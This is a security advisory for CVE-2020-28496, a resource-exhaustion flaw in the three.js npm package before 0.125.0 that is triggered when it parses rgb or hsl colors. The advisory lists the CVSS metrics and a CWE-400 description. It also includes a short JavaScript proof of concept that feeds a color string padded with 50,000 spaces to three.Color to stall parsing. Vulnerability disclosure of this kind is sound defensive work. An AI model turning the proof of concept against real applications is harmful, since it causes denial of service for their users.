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Uncontrolled Resource Consumption

CVE-2020-28496

High
7.5/10

Summary

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

  • LOW
  • NETWORK
  • NONE
  • UNCHANGED
  • NONE
  • NONE
  • NONE
  • HIGH

CWE-400 - Uncontrolled resource consumption

An uncontrolled resource allocation attack (also known as resource exhaustion attack) triggers unauthorized overconsumption of the limited resources in an application, such as memory, file system storage, database connection pool entries, and CPU. This may lead to denial of service for valid users and degradation of the application's functionality as well as that of the host operating system.

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Advisory Timeline

  • Published